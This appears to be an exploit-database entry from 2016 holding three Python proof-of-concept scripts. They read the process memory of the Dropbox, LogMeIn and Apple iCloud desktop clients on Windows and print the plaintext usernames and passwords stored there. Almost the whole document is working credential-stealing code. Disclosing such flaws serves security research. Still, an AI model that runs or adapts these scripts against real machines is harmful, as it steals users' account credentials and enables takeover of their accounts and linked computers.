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Multiple Applications - Local Credentials Disclosure

🗓️ 07 Sep 2016 00:00:00Reported by Yakir WizmanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Multiple Applications Local Credentials Disclosure vulnerability discovered in Dropbox Desktop Client and LogMeIn Client. The plaintext username and password are stored in memory, making it possible for an attacker to access user accounts

Code
#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "Dropbox.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
			memory_dump.append(process.read(address,100))
		for i in range(len(memory_dump)):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('\x00')[0]
			password	= tmp_passwd.split('&is_sso_link=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()


	
######################################################################

#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "LMIIgnition.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
			memory_dump.append(process.read(address,150))
		for i in range(len(memory_dump[0])):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('&hiddenEmail=')[0]
			password	= tmp_passwd.split('&rememberMe=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
				break
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()


	
######################################################################

#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage 	@ https://www.apple.com/
# Product Homepage 	@ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
	bytes = []
	str = ''.join(str.split(" "))
	for i in range(0, len(str), 2):
		bytes.append(chr(int(str[i:i+2], 16)))
	return ''.join(bytes)

usr			= ''
pwd			= ''
found		= 0
filename 	= "iCloud.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "#########################################################################"
	print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
	print "#   Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
	print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
	print "#\t\t\tPlease use responsibly.\t\t\t\t#"
	print "#########################################################################\r\n"
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
			memory_dump.append(process.read(address,50))
		
		try:
			str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
			usr = h2b(str.split(' 00')[0])
		except:
			pass
			
		memory_dump	= []
		for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
			memory_dump.append(process.read(address,60))
		try:
			str = b2h(memory_dump[0]).split('07 00 02 09')[1]
			pwd = h2b(str.split(' 00')[0])
		except:
			pass
		
		if usr != '' and pwd !='':
			found = 1
			print "[+] iCloud Credentials found!\r\n----------------------------------------"
			print "[+] Username: %s" % usr
			print "[+] Password: %s" % pwd
		if found == 0:
			print "[-] Credentials not found!"
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()

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